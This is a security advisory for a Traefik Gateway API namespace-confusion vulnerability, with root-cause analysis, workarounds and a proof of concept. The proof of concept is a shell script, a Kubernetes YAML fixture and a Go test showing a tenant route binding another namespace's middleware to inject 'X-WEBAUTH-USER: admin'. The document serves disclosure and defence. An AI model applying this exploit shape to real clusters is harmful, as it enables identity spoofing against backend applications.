Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion
🔗 CVE IDs covered (1)
📋 Description
Summary
There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
Summary
Traefik's Kubernetes Gateway API provider resolves
HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef in the backend
Service namespace instead of the HTTPRoute namespace. A low-privileged route
author with a permitted cross-namespace Service reference can therefore bind a
Traefik Middleware from the backend namespace without a separate grant for
that middleware. If the reused middleware sets trusted reverse-proxy identity
headers, downstream applications can receive attacker-selected authenticated
identity state.
Description
Gateway API ReferenceGrant allows a namespace owner to grant a route in
another namespace permission to reference a specific backend object, such as a
Service. That grant should not implicitly authorize the route author to bind
other policy objects in the backend namespace.
In the affected code path, Traefik copies backendRef.namespace into a local
namespace variable. It correctly uses that namespace to validate and load the
backend Service, but then reuses the same namespace when resolving
backendRef.filters[].extensionRef. For Traefik CRD Middleware extension
filters, the CRD provider turns (namespace, name) into a dynamic middleware
reference such as:
platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in tenant-a can bind a middleware named
privileged-auth-header from the backend namespace platform, even though the
Gateway API ReferenceGrant only granted access to platform/protected-api
Service.
Impact
The PoC demonstrates that an attacker-authored HTTPRoute can cause Traefik to
attach a backend-namespace Headers middleware to the generated backend
service. The middleware injects:
X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication.
This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary.
Proof Of Concept
Files
#!/usr/bin/env sh
set -eu
TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"
if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi
printf '[*] target_ref=%s\n' "$TARGET_REF"
printf '[*] workdir=%s\n' "$WORKDIR"
if [ -n "${TRAEFIK_SRC:-}" ]; then
printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC"
git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
printf '[*] cloning from remote: %s\n' "$REPO_URL"
git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
fi
mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute
cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \
pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \
pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml
if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then
sed -i \
-e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \
-e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \
pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
fi
printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n'
go test ./pkg/provider/kubernetes/gateway \
-run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \
-count=1 -v
printf 'POC_RESULT=PASS\n'
---
apiVersion: v1
kind: Service
metadata:
name: protected-api
namespace: platform
spec:
ports:
- name: web
protocol: TCP
port: 80
targetPort: web
---
kind: EndpointSlice
apiVersion: discovery.k8s.io/v1
metadata:
name: protected-api-abc
namespace: platform
labels:
kubernetes.io/service-name: protected-api
addressType: IPv4
ports:
- name: web
port: 8080
endpoints:
- addresses:
- 10.10.20.10
conditions:
ready: true
---
kind: GatewayClass
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: shared-gateway-class
spec:
controllerName: traefik.io/gateway-controller
---
kind: Gateway
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: shared-gateway
namespace: infra
spec:
gatewayClassName: shared-gateway-class
listeners:
- name: http
protocol: HTTP
port: 80
allowedRoutes:
kinds:
- kind: HTTPRoute
group: gateway.networking.k8s.io
namespaces:
from: All
---
kind: ReferenceGrant
apiVersion: gateway.networking.k8s.io/v1beta1
metadata:
name: allow-tenant-route-to-service
namespace: platform
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: tenant-a
to:
- group: ""
kind: Service
name: protected-api
---
kind: HTTPRoute
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: tenant-route
namespace: tenant-a
spec:
parentRefs:
- name: shared-gateway
namespace: infra
kind: Gateway
group: gateway.networking.k8s.io
hostnames:
- attacker.example
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: protected-api
namespace: platform
port: 80
kind: Service
group: ""
filters:
- type: ExtensionRef
extensionRef:
group: traefik.io
kind: Middleware
name: privileged-auth-header
package gateway
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/traefik/traefik/v3/pkg/config/dynamic"
"github.com/traefik/traefik/v3/pkg/middlewares/headers"
traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1"
kubefake "k8s.io/client-go/kubernetes/fake"
)
func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {
k8sObjects, gwObjects := readResources(t, []string{"httproute/backendref_extension_filter_cross_namespace_poc.yml"})
kubeClient := kubefake.NewClientset(k8sObjects...)
gwClient := newGatewaySimpleClientSet(t, gwObjects...)
client := newClientImpl(kubeClient, gwClient)
eventCh, err := client.WatchAll(nil, make(chan struct{}))
require.NoError(t, err)
if len(k8sObjects) > 0 || len(gwObjects) > 0 {
<-eventCh
}
var resolvedRefs []string
p := Provider{
EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}},
client: client,
}
p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
resolvedRefs = append(resolvedRefs, namespace+"/"+name)
return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{
Headers: &dynamic.Headers{
CustomRequestHeaders: map[string]string{
"X-WEBAUTH-USER": "admin",
},
},
}, nil
})
conf := p.loadConfigurationFromGateways(t.Context())
require.NotNil(t, conf)
var serviceConfig *dynamic.Service
for _, service := range conf.HTTP.Services {
for _, middlewareRef := range service.Middlewares {
if middlewareRef == "platform-privileged-auth-header@kubernetescrd" {
serviceConfig = service
}
}
}
require.Contains(t, resolvedRefs, "platform/privileged-auth-header")
require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd")
require.NotNil(t, serviceConfig)
require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")
seenUser := make(chan string, 1)
backend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
seenUser <- req.Header.Get("X-WEBAUTH-USER")
rw.WriteHeader(http.StatusOK)
})
handler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers)
require.NoError(t, err)
recorder := httptest.NewRecorder()
handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))
assert.Equal(t, http.StatusOK, recorder.Code)
assert.Equal(t, "admin", <-seenUser)
t.Logf("POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q",
"platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin")
}
Requirements
git- Go toolchain compatible with the target Traefik tag.
v3.7.5usesgo 1.25.0. - Network access to clone
https://github.com/traefik/traefik.gitand download Go modules on first run.
No local Traefik checkout or Kubernetes cluster is required by default.
Run
./run.sh
Optional target override:
TARGET_REF=v3.7.0 ./run.sh
Optional local-source override for faster validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
Expected Result
The run should end with:
POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injected_header="X-WEBAUTH-USER: admin"
POC_RESULT=PASS
Root Cause
Line numbers below are from:
repository: https://github.com/traefik/traefik
tag: v3.7.5
commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. Route-level filters use the route namespace
pkg/provider/kubernetes/gateway/httproute.go:143-144
// TODO loadMiddlewares errors could change the condition.
router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)
For filters directly on HTTPRoute.rules[], Traefik resolves extension filters
relative to route.Namespace. This matches the Gateway API
LocalObjectReference model.
2. BackendRef namespace overwrites the route namespace
pkg/provider/kubernetes/gateway/httproute.go:240-243
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
For a cross-namespace backend Service, namespace becomes the backend
namespace, for example platform.
3. ReferenceGrant checks only the backend object
pkg/provider/kubernetes/gateway/httproute.go:258-266
if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {
return serviceName, &metav1.Condition{
Type: string(gatev1.RouteConditionResolvedRefs),
Status: metav1.ConditionFalse,
ObservedGeneration: route.Generation,
LastTransitionTime: metav1.Now(),
Reason: string(gatev1.RouteReasonRefNotPermitted),
This validates permission to reference the backend object, such as
platform/protected-api Service.
4. The backend namespace is reused for backendRef filters
pkg/provider/kubernetes/gateway/httproute.go:269-277
middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)
if err != nil {
return serviceName, &metav1.Condition{
Type: string(gatev1.RouteConditionResolvedRefs),
Status: metav1.ConditionFalse,
ObservedGeneration: route.Generation,
LastTransitionTime: metav1.Now(),
The same namespace variable now points to the backend namespace. Therefore an
ExtensionRef inside backendRef.filters[] is resolved as
platform/<middleware-name> instead of tenant-a/<middleware-name>.
5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider
pkg/provider/kubernetes/crd/kubernetes.go:169-175
registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) {
return "", nil, fmt.Errorf("namespace %q is not allowed", namespace)
}
return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil
The namespace passed from loadMiddlewares() decides which CRD Middleware
object becomes part of the dynamic service configuration.
6. Service-level middlewares are applied at runtime
pkg/server/service/service.go:186-194
if len(conf.Middlewares) > 0 {
if m.middlewareChainBuilder == nil {
// This should happen only in tests.
return nil, errors.New("chain builder not defined")
}
chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)
originalLB := lb
var err error
lb, err = chain.Then(lb)
The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction.
Minimal Exploit Shape
The PoC fixture contains the essential object graph:
tenant-a/HTTPRoute
-> backendRef namespace: platform, name: protected-api
-> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header
platform/ReferenceGrant
-> allows tenant-a HTTPRoute to reference platform/protected-api Service only
platform/protected-api Service
Traefik resolves the ExtensionRef as:
platform/privileged-auth-header
In a real affected deployment, if platform/privileged-auth-header sets a
trusted identity header, requests sent through the tenant route can reach the
backend with that header injected by Traefik.
Workarounds
- Avoid granting untrusted namespaces permission to attach
HTTPRouteobjects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik
Middlewareobjects in namespaces that can be reached by untrusted cross-namespaceHTTPRoutebackend references. - Prefer route-local filters and explicitly audit
HTTPRoute.rules[].backendRefs[].filters[].extensionRefusage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway.
Scope Boundary
Exploitation requires low-privileged route-author capability in a Kubernetes
Gateway API deployment. A remote unauthenticated web client without
HTTPRoute authoring capability cannot create the malicious route. If the
shared Gateway is internet-facing, the final request that triggers the
unauthorized middleware can be sent over the public network after the route is
created.
🎯 Affected products1
- go/Traefik:>= 3.7.0, < 3.7.7
🔗 References (6)
- https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj
- https://nvd.nist.gov/vuln/detail/CVE-2026-65601
- https://github.com/traefik/traefik/pull/13462
- https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9
- https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref
- https://github.com/advisories/GHSA-qq9q-x9w4-chhj